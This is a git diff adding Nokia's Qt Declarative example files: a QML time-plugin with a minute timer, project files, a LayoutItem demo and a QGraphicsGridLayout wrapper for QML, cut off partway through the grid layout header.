+++ b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/qmldir
@@ -0,0 +1,2 @@
+Clock 1.0 Clock.qml
+plugin qmlqtimeexampleplugin
diff --git a/examples/declarative/cppextensions/plugins/plugin.cpp b/examples/declarative/cppextensions/plugins/plugin.cpp
new file mode 100644
index 00000000..c26e889c
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/plugin.cpp
@@ -0,0 +1,157 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative/QDeclarativeExtensionPlugin>
+#include <QtDeclarative/qdeclarative.h>
+#include <qdebug.h>
+#include <qdatetime.h>
+#include <qbasictimer.h>
+#include <qapplication.h>
+
+// Implements a "TimeModel" class with hour and minute properties
+// that change on-the-minute yet efficiently sleep the rest
+// of the time.
+
+class MinuteTimer : public QObject
+{
+ Q_OBJECT
+public:
+ MinuteTimer(QObject *parent) : QObject(parent)
+ {
+ }
+
+ void start()
+ {
+ if (!timer.isActive()) {
+ time = QTime::currentTime();
+ timer.start(60000-time.second()*1000, this);
+ }
+ }
+
+ void stop()
+ {
+ timer.stop();
+ }
+
+ int hour() const { return time.hour(); }
+ int minute() const { return time.minute(); }
+
+signals:
+ void timeChanged();
+
+protected:
+ void timerEvent(QTimerEvent *)
+ {
+ QTime now = QTime::currentTime();
+ if (now.second() == 59 && now.minute() == time.minute() && now.hour() == time.hour()) {
+ // just missed time tick over, force it, wait extra 0.5 seconds
+ time.addSecs(60);
+ timer.start(60500, this);
+ } else {
+ time = now;
+ timer.start(60000-time.second()*1000, this);
+ }
+ emit timeChanged();
+ }
+
+private:
+ QTime time;
+ QBasicTimer timer;
+};
+
+//![0]
+class TimeModel : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int hour READ hour NOTIFY timeChanged)
+ Q_PROPERTY(int minute READ minute NOTIFY timeChanged)
+//![0]
+
+public:
+ TimeModel(QObject *parent=0) : QObject(parent)
+ {
+ if (++instances == 1) {
+ if (!timer)
+ timer = new MinuteTimer(qApp);
+ connect(timer, SIGNAL(timeChanged()), this, SIGNAL(timeChanged()));
+ timer->start();
+ }
+ }
+
+ ~TimeModel()
+ {
+ if (--instances == 0) {
+ timer->stop();
+ }
+ }
+
+ int minute() const { return timer->minute(); }
+ int hour() const { return timer->hour(); }
+
+signals:
+ void timeChanged();
+
+private:
+ QTime t;
+ static MinuteTimer *timer;
+ static int instances;
+};
+
+int TimeModel::instances=0;
+MinuteTimer *TimeModel::timer=0;
+
+//![plugin]
+class QExampleQmlPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(uri == QLatin1String("com.nokia.TimeExample"));
+ qmlRegisterType<TimeModel>(uri, 1, 0, "Time");
+ }
+};
+//![plugin]
+
+#include "plugin.moc"
+
+//![export]
+Q_EXPORT_PLUGIN2(qmlqtimeexampleplugin, QExampleQmlPlugin);
+//![export]
diff --git a/examples/declarative/cppextensions/plugins/plugins.pro b/examples/declarative/cppextensions/plugins/plugins.pro
new file mode 100644
index 00000000..e5c05e09
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/plugins.pro
@@ -0,0 +1,30 @@
+TEMPLATE = lib
+CONFIG += qt plugin
+QT += declarative
+
+DESTDIR = com/nokia/TimeExample
+TARGET = qmlqtimeexampleplugin
+
+SOURCES += plugin.cpp
+
+qdeclarativesources.files += \
+ com/nokia/TimeExample/qmldir \
+ com/nokia/TimeExample/center.png \
+ com/nokia/TimeExample/clock.png \
+ com/nokia/TimeExample/Clock.qml \
+ com/nokia/TimeExample/hour.png \
+ com/nokia/TimeExample/minute.png
+
+qdeclarativesources.path += $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/plugins/com/nokia/TimeExample
+
+sources.files += plugins.pro plugin.cpp plugins.qml README
+sources.path += $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/plugins
+target.path += $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/plugins/com/nokia/TimeExample
+
+INSTALLS += qdeclarativesources sources target
+
+symbian {
+ include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
+ TARGET.EPOCALLOWDLLDATA = 1
+}
+maemo5: include($$QT_SOURCE_TREE/examples/maemo5pkgrules.pri)
diff --git a/examples/declarative/cppextensions/plugins/plugins.qml b/examples/declarative/cppextensions/plugins/plugins.qml
new file mode 100644
index 00000000..f61062ac
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/plugins.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import com.nokia.TimeExample 1.0 // import types from the plugin
+
+Clock { // this class is defined in QML (com/nokia/TimeExample/Clock.qml)
+
+ Time { // this class is defined in C++ (plugin.cpp)
+ id: time
+ }
+
+ hours: time.hour
+ minutes: time.minute
+}
+//![0]
diff --git a/examples/declarative/cppextensions/plugins/plugins.qmlproject b/examples/declarative/cppextensions/plugins/plugins.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/plugins.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.pro b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.pro
new file mode 100644
index 00000000..77c6b2a2
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.pro
@@ -0,0 +1,8 @@
+TEMPLATE = app
+TARGET =
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+SOURCES += main.cpp
+RESOURCES += layoutitem.qrc
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qml b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qml
new file mode 100644
index 00000000..1e2cd887
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+LayoutItem { //Sized by the layout
+ id: resizable
+
+ minimumSize: "100x100"
+ maximumSize: "300x300"
+ preferredSize: "100x100"
+
+ Rectangle { color: "yellow"; anchors.fill: parent }
+
+ Rectangle {
+ width: 100; height: 100
+ anchors.top: parent.top; anchors.right: parent.right
+ color: "green"
+ }
+}
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qmlproject b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qrc b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qrc
new file mode 100644
index 00000000..2e525786
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>layoutitem.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/main.cpp b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/main.cpp
new file mode 100644
index 00000000..0a4af317
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/layoutitem/main.cpp
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QApplication>
+#include <QGraphicsView>
+#include <QGraphicsScene>
+#include <QGraphicsWidget>
+#include <QGraphicsLinearLayout>
+#include <QDeclarativeComponent>
+#include <QDeclarativeEngine>
+
+/* This example demonstrates using a LayoutItem to let QML snippets integrate
+ nicely with existing QGraphicsView applications designed with GraphicsLayouts
+*/
+int main(int argc, char* argv[])
+{
+ QApplication app(argc, argv);
+
+ //Set up a graphics scene with a QGraphicsWidget and Layout
+ QGraphicsView view;
+ QGraphicsScene scene;
+ QGraphicsWidget *widget = new QGraphicsWidget();
+ QGraphicsLinearLayout *layout = new QGraphicsLinearLayout();
+ widget->setLayout(layout);
+ scene.addItem(widget);
+ view.setScene(&scene);
+
+ //Add the QML snippet into the layout
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl(":layoutitem.qml"));
+ QGraphicsLayoutItem* obj = qobject_cast<QGraphicsLayoutItem*>(c.create());
+ layout->addItem(obj);
+
+ widget->setGeometry(QRectF(0,0, 400,400));
+ view.show();
+ return app.exec();
+}
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.cpp b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.cpp
new file mode 100644
index 00000000..d2cefbf6
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.cpp
@@ -0,0 +1,188 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "gridlayout.h"
+
+#include <QGraphicsWidget>
+#include <QDebug>
+
+GridLayoutAttached::GridLayoutAttached(QObject *parent)
+: QObject(parent), m_row(-1), m_column(-1), m_rowspan(1), m_colspan(1), m_alignment(-1), m_rowStretch(-1),
+ m_colStretch(-1), m_rowSpacing(-1), m_colSpacing(-1), m_rowPrefHeight(-1), m_rowMaxHeight(-1), m_rowMinHeight(-1),
+ m_rowFixHeight(-1), m_colPrefwidth(-1), m_colMaxwidth(-1), m_colMinwidth(-1), m_colFixwidth(-1)
+{
+}
+
+void GridLayoutAttached::setAlignment(Qt::Alignment a)
+{
+ if (m_alignment != a) {
+ m_alignment = a;
+ emit alignmentChanged(reinterpret_cast<QGraphicsLayoutItem*>(parent()), m_alignment);
+ }
+}
+
+QHash<QGraphicsLayoutItem*, GridLayoutAttached*> GraphicsGridLayoutObject::attachedProperties;
+
+GraphicsGridLayoutObject::GraphicsGridLayoutObject(QObject *parent)
+: QObject(parent)
+{
+}
+
+GraphicsGridLayoutObject::~GraphicsGridLayoutObject()
+{
+}
+
+void GraphicsGridLayoutObject::addWidget(QGraphicsWidget *widget)
+{
+ //use attached properties
+ if (QObject *obj = attachedProperties.value(qobject_cast<QGraphicsLayoutItem*>(widget))) {
+ int row = static_cast<GridLayoutAttached *>(obj)->row();
+ int column = static_cast<GridLayoutAttached *>(obj)->column();
+ int rowSpan = static_cast<GridLayoutAttached *>(obj)->rowSpan();
+ int columnSpan = static_cast<GridLayoutAttached *>(obj)->columnSpan();
+ if (row == -1 || column == -1) {
+ qWarning() << "Must set row and column for an item in a grid layout";
+ return;
+ }
+ addItem(widget, row, column, rowSpan, columnSpan);
+ }
+}
+
+void GraphicsGridLayoutObject::addLayoutItem(QGraphicsLayoutItem *item)
+{
+ //use attached properties
+ if (GridLayoutAttached *obj = attachedProperties.value(item)) {
+ int row = obj->row();
+ int column = obj->column();
+ int rowSpan = obj->rowSpan();
+ int columnSpan = obj->columnSpan();
+ Qt::Alignment alignment = obj->alignment();
+
+ if (row == -1 || column == -1) {
+ qWarning() << "Must set row and column for an item in a grid layout";
+ return;
+ }
+
+ if (obj->rowSpacing() != -1)
+ setRowSpacing(row, obj->rowSpacing());
+ if (obj->columnSpacing() != -1)
+ setColumnSpacing(column, obj->columnSpacing());
+ if (obj->rowStretchFactor() != -1)
+ setRowStretchFactor(row, obj->rowStretchFactor());
+ if (obj->columnStretchFactor() != -1)
+ setColumnStretchFactor(column, obj->columnStretchFactor());
+ if (obj->rowPreferredHeight() != -1)
+ setRowPreferredHeight(row, obj->rowPreferredHeight());
+ if (obj->rowMaximumHeight() != -1)
+ setRowMaximumHeight(row, obj->rowMaximumHeight());
+ if (obj->rowMinimumHeight() != -1)
+ setRowMinimumHeight(row, obj->rowMinimumHeight());
+ if (obj->rowFixedHeight() != -1)
+ setRowFixedHeight(row, obj->rowFixedHeight());
+ if (obj->columnPreferredWidth() != -1)
+ setColumnPreferredWidth(row, obj->columnPreferredWidth());
+ if (obj->columnMaximumWidth() != -1)
+ setColumnMaximumWidth(row, obj->columnMaximumWidth());
+ if (obj->columnMinimumWidth() != -1)
+ setColumnMinimumWidth(row, obj->columnMinimumWidth());
+ if (obj->columnFixedWidth() != -1)
+ setColumnFixedWidth(row, obj->columnFixedWidth());
+
+ addItem(item, row, column, rowSpan, columnSpan);
+
+ if (alignment != -1)
+ setAlignment(item, alignment);
+ QObject::connect(obj, SIGNAL(alignmentChanged(QGraphicsLayoutItem*, Qt::Alignment)),
+ this, SLOT(updateAlignment(QGraphicsLayoutItem*, Qt::Alignment)));
+ }
+}
+
+void GraphicsGridLayoutObject::removeAt(int index)
+{
+ QGraphicsLayoutItem *item = itemAt(index);
+ if (item) {
+ GridLayoutAttached *obj = attachedProperties.value(item);
+ obj->disconnect(this);
+ attachedProperties.remove(item);
+ }
+ QGraphicsGridLayout::removeAt(index);
+}
+
+void GraphicsGridLayoutObject::clearChildren()
+{
+ // do not delete the removed items; they will be deleted by the QML engine
+ while (count() > 0)
+ removeAt(count()-1);
+}
+
+qreal GraphicsGridLayoutObject::spacing() const
+{
+ if (verticalSpacing() == horizontalSpacing())
+ return verticalSpacing();
+ return -1;
+}
+
+qreal GraphicsGridLayoutObject::contentsMargin() const
+{
+ qreal a, b, c, d;
+ getContentsMargins(&a, &b, &c, &d);
+ if (a == b && a == c && a == d)
+ return a;
+ return -1;
+}
+
+void GraphicsGridLayoutObject::setContentsMargin(qreal m)
+{
+ setContentsMargins(m, m, m, m);
+}
+
+void GraphicsGridLayoutObject::updateAlignment(QGraphicsLayoutItem *item, Qt::Alignment alignment)
+{
+ QGraphicsGridLayout::setAlignment(item, alignment);
+}
+
+GridLayoutAttached *GraphicsGridLayoutObject::qmlAttachedProperties(QObject *obj)
+{
+ GridLayoutAttached *rv = new GridLayoutAttached(obj);
+ if (qobject_cast<QGraphicsLayoutItem*>(obj))
+ attachedProperties.insert(qobject_cast<QGraphicsLayoutItem*>(obj), rv);
+ return rv;
+}
+
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.h b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.h
new file mode 100644
index 00000000..5c3f1a30
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.h
@@ -0,0 +1,217 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef GRIDLAYOUT_H
+#define GRIDLAYOUT_H
+
+#include <qdeclarative.h>
+
+#include <QGraphicsGridLayout>
+#include <QGraphicsLayoutItem>
+
+class GridLayoutAttached;
+class GraphicsGridLayoutObject : public QObject, public QGraphicsGridLayout
+{
+ Q_OBJECT
+ Q_INTERFACES(QGraphicsLayout QGraphicsLayoutItem)
+
+ Q_PROPERTY(QDeclarativeListProperty<QGraphicsLayoutItem> children READ children)
+ Q_PROPERTY(qreal spacing READ spacing WRITE setSpacing)
+ Q_PROPERTY(qreal contentsMargin READ contentsMargin WRITE setContentsMargin)
+ Q_PROPERTY(qreal verticalSpacing READ verticalSpacing WRITE setVerticalSpacing)
+ Q_PROPERTY(qreal horizontalSpacing READ horizontalSpacing WRITE setHorizontalSpacing)
+ Q_CLASSINFO("DefaultProperty", "children")
+
+public:
+ GraphicsGridLayoutObject(QObject * = 0);
+ ~GraphicsGridLayoutObject();
+
+ QDeclarativeListProperty<QGraphicsLayoutItem> children() { return QDeclarativeListProperty<QGraphicsLayoutItem>(this, 0, children_append, children_count, children_at, children_clear); }
+
+ qreal spacing() const;
+ qreal contentsMargin() const;
+ void setContentsMargin(qreal);
+
+ void removeAt(int index);
+
+ static GridLayoutAttached *qmlAttachedProperties(QObject *);
+
+private slots:
+ void updateAlignment(QGraphicsLayoutItem*,Qt::Alignment);
+
+private:
+ friend class GraphicsLayoutAttached;
+
+ void addWidget(QGraphicsWidget *);
+ void clearChildren();
+ void addLayoutItem(QGraphicsLayoutItem *);
+
+ static void children_append(QDeclarativeListProperty<QGraphicsLayoutItem> *prop, QGraphicsLayoutItem *item) {
+ static_cast<GraphicsGridLayoutObject*>(prop->object)->addLayoutItem(item);
+ }
+
+ static void children_clear(QDeclarativeListProperty<QGraphicsLayoutItem> *prop) {
+ static_cast<GraphicsGridLayoutObject*>(prop->object)->clearChildren();
+ }
+
+ static int children_count(QDeclarativeListProperty<QGraphicsLayoutItem> *prop) {
+ return static_cast<GraphicsGridLayoutObject*>(prop->object)->count();
+ }
+
+ static QGraphicsLayoutItem *children_at(QDeclarativeListProperty<QGraphicsLayoutItem> *prop, int index) {
+ return static_cast<GraphicsGridLayoutObject*>(prop->object)->itemAt(index);
+ }
+
+ static QHash<QGraphicsLayoutItem*, GridLayoutAttached*> attachedProperties;
+};
+
+
+class GridLayoutAttached : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(int row READ row WRITE setRow)
+ Q_PROPERTY(int column READ column WRITE setColumn)
+
+ Q_PROPERTY(int rowSpan READ rowSpan WRITE setRowSpan)
+ Q_PROPERTY(int columnSpan READ columnSpan WRITE setColumnSpan)
+ Q_PROPERTY(Qt::Alignment alignment READ alignment WRITE setAlignment)
+
+ Q_PROPERTY(int rowStretchFactor READ rowStretchFactor WRITE setRowStretchFactor)
+ Q_PROPERTY(int columnStretchFactor READ columnStretchFactor WRITE setColumnStretchFactor)
+ Q_PROPERTY(int rowSpacing READ rowSpacing WRITE setRowSpacing)
+ Q_PROPERTY(int columnSpacing READ columnSpacing WRITE setColumnSpacing)
+
+ Q_PROPERTY(int rowPreferredHeight READ rowPreferredHeight WRITE setRowPreferredHeight)
